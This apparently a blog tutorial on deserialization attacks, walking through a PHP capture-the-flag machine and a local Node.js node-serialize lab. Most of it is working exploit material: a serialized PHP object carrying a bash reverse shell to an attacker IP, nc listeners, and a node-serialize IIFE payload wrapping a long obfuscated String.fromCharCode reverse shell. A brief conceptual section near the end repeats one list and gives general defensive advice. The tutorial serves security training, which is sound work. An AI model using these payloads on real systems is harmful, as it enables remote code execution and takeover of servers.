Ataques de Deserializacion

Deserialization Attacks

forms #loginForms #registrationForms #privilegeEscalation

Imagine an application with a form that sends a ping to some site, as the Cereal machine does.
We’d intercept this request with burpsuite.
We’re going to launch our localhost ip
imagine it sends a payload like this

obj=O%3A8%3A%22pingTest%22%3A1%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A13%3A%22192.168.1.211%22%3B%7D&ip=192.168.1.

At first this is urlencoded but if we select it and press
control shift u we can see it better.

obj=O:8:"pingTest":1:{s:9:"ipAddress";s:13:"192.168.1.211";}&ip=192.168.1.211

Here we see a serialized object.
0:8 —- MEANS WE HAVE 8 CHARACTERS THAT MATCH pingTest
s:9 —- means a string of 9 characters ipAddress
s:13 —- means a string of 13 characters 192.168.1.211
We can view the source code and we see a js file being loaded. We can view that file’s code to see if it provides anything
In this case it doesn’t provide much, but we can do directory recon with gobuster to see if we discover anything else.

gobuster dir -u http://secure.cereal.ctf:44441/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -t 20

There are several directories
/php
/style
/index
/back_en —— we see it here but it gives us forbidden, although we can apply brute force here and enumerate php files

gobuster dir -u http://secure.cereal.ctf:44441/back_en -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php

This doesn’t find anything, although we can add more php extensions, php.bak for example, get paranoid with file extensions etc.
We find a file index.php.bak
We can go to this file and see the source code and we see php code like this

<?php

class pingTest {
    public $ipAddress = "127.0.0.1";
    public $isValid = False;
    public $output = "";

    function validate() {
        if (!$this->isValid) {
            if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
            {
                $this->isValid = True;
            }
        }
        $this->ping();

    }

    public function ping(){
        if ($this->isValid) {
            $this->output = shell_exec("ping -c 3 $this->ipAddress");   
        }
    }

}

if (isset($_POST['obj'])) {
    $pingTest = unserialize(urldecode($_POST['obj']));
} else {
    $pingTest = new pingTest;
}

$pingTest->validate();

It looks like this is the file where it goes
The idea in this case as an attacker is to get in here

    $this->output = shell_exec("ping -c 3 $this->ipAddress");   

We can create a serialized object so that the field $isvalid is true from the start and we enter the ping function and it executes the shell_exec function.
To create a serialized field in php we do (you can check the official unserialize() documentation)

vim serialize.php
<?php
class pingTest{
        public $ipAddress = "; bash -c 'bash -i >& /dev/tcp/192.168.1.211/443 0>&1'";
        public $isValid = True;
        public $output = "";

}
echo urlencode(serialize(new pingTest));
?>

Now php serialize.php 2>/dev/null; echo
If we copy everything in urlencode and replace what’s in obj= with it
and we set ourselves listening on port 443

nc -nlvp 443

We now have control over the machine.

Lab 2 (Nodejs)

let’s search the browser for “nodejs deseralization attack”
let’s go to this website https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/
We’re going to set up a server in nodejs
vim server.js

var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())

app.get('/', function(req, res) {
 if (req.cookies.profile) {
   var str = new Buffer(req.cookies.profile, 'base64').toString();
   var obj = serialize.unserialize(str);
   if (obj.username) {
     res.send("Hello " + escape(obj.username));
   }
 } else {
     res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", {
       maxAge: 900000,
       httpOnly: true
     });
 }
 res.send("Hello World");
});
app.listen(3000);

We need to install (package node-serialize on npm)
npm install express node-serialize cookie-parser
We start node server.js
We have a server on port 3000 that we’re going to intercept with burpsuit
Once the request is intercepted we see a cookie with a base64 string
like

Cookie: profile=eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0%

If we copy it and send it to the decoder.
we decode it as url and then as base64
it gives us as a result

{"username":"ajin","country":"india","city":"bangalore"}

We change the username parameter for example and turn it back into base64 and it gives

eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=

Well now in the request we replace it with this last one and send it to see what happens and we urlencode it with
control u
control shift u is for urldecoding
And we see that it returns the user we sent
What’s happening? In nodejs we have a function to serialize data like

var y = {

 rce : function(){

 require('child_process').exec('ls /',function(error, stdout, stderr) { console.log(stdout) });

 },

}

var serialize = require('node-serialize');

console.log("Serialized: \n" + serialize.serialize(y));

now we do a vim serialize.js
now we do a node serialize.js and we get

{"rce":"_$$ND_FUNC$$_function(){\n\n require('child_process').exec('ls /',function(error, stdout, stderr) { console.log(stdout) });\n\n }"}

At first it won’t execute it.
There’s a concept which is
IIFE —> Immediately Invoked Function Expression
If in the function part we add two parentheses () it would look like this

 function(){
     require('child_process').exec('ls /',function(error, stdout, stderr) { console.log(stdout) });
 }(),

When serializing the data it executes it and we see that ls
The thing is that now we’re doing this on the server and what it does is execute the command but it doesn’t give us the serialized payload to be able to pass it through the url.
How could we do it?
We can copy some code to deserialize into a file

var serialize = require('node-serialize');
var payload ='{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

But in payload we have to put ours, watch out
We have to generate the payload again which is the one we generated in serialize.js but removing the IIFE concept, that is, the parentheses (), and we run it again so it gives us the serialized code.
which would be this again

{"rce":"_$$ND_FUNC$$_function(){\n\n require('child_process').exec('ls /home/jesushack',function(error, stdout, stderr) { console.log(stdout) });\n\n }"}
WATCH OUT WE REMOVE THE LINE BREAKS AND ESCAPE THE QUOTES

NOW WE PUT THIS SERIALIZED OBJECT INTO THE PAYLOAD AS WE SAID, REMOVING THE LINE BREAKS AND ESCAPING QUOTES.
If we now run the file with node nothing has happened, buuuut if we play again with IIFE if at the end we add the parentheses right before

()"}

Now it does execute it.
We can set up a shell with nodejs.py
https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py
Let’s go to raw, copy it and bring it with wget
and with

python2.7 nodejsshell.py attackerip port

This generates this

eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,46,49,46,50,49,49,34,59,10,80,79,82,84,61,34,52,54,52,54,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))

But since we have to serialize this
In the serialization we created before, in the function body we remove what’s there and put this in.

{"rce":"_$$ND_FUNC$$_function(){inputShell}()"}
///it would look like this
{"rce":"_$$ND_FUNC$$_function(){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,46,49,46,50,49,49,34,59,10,80,79,82,84,61,34,52,54,52,54,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

We can save it in a file dataSerializeShell and convert it to base64, which is how it’s being sent in the request as we saw in burpsuite

cat data | base64 -w 0; echo
// the -w 0 is so it's all on a single line and not multiple, and the echo so there's no line break at the end nor hashtag nor anything strange

Now we set ourselves listening on port 4646

nc -nlvp 4646

Now we pass that whole data as profile and it gives us access
Script /dev/null -c bash


what can we do?

Deserialization attacks can occur in different types of applications, including web applications, mobile applications and desktop applications. These attacks can be exploited in various ways, such as:

  • Modifying the serialized object before it is sent to the application, which can cause errors in deserialization and allow an attacker to execute malicious code.
  • Sending a malicious serialized object that takes advantage of a vulnerability in the application to execute malicious code.
  • Carrying out a “man-in-the-middle” attack to intercept and modify the serialized object before it reaches the application.

3. Malicious Object Injection

  • Description: Attackers can inject malicious objects that, when deserialized, alter the application’s state or perform unauthorized operations, such as modifying databases or changing configurations.
  • Impact: Can result in unauthorized changes within the application or data loss.

4. Privilege Escalation

  • Description: By manipulating serialization and deserialization, an attacker can modify the objects that represent the user’s privileges, granting themselves more rights within the application.
  • Impact: Unauthorized access to restricted areas or administrative functions of the application.

Deserialization attacks (more info at PortSwigger Web Security Academy – Insecure Deserialization) are a type of attack that takes advantage of vulnerabilities in the serialization and deserialization processes of objects in applications that use object-oriented programming (OOP).

Serialization is the process of converting an object into a sequence of bytes that can be stored or transmitted over a network. Deserialization is the reverse process, in which a sequence of bytes is converted back into an object. Deserialization attacks occur when an attacker can manipulate the data being deserialized, which can lead to execution of malicious code on the server.

Deserialization attacks can occur in different types of applications, including web applications, mobile applications and desktop applications. These attacks can be exploited in various ways, such as:

  • Modifying the serialized object before it is sent to the application, which can cause errors in deserialization and allow an attacker to execute malicious code.
  • Sending a malicious serialized object that takes advantage of a vulnerability in the application to execute malicious code.
  • Carrying out a “man-in-the-middle” attack to intercept and modify the serialized object before it reaches the application.

Deserialization attacks can be very dangerous, since they can allow an attacker to take full control of the server or the application being attacked.

To avoid these attacks, it is important for applications to properly validate and authenticate all data they receive before deserializing it. It is also important to use secure serialization and deserialization libraries and regularly update all the application’s libraries and components to fix possible vulnerabilities.

Below you are provided the direct link to the Vulnhub machine where we exploit a ‘PHP

machine

YAML parsers are known for their poor handling of serialized data.
ophiuchi
https://0xdf.gitlab.io/2021/07/03/htb-ophiuchi.html
This has Java-based deserialization

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top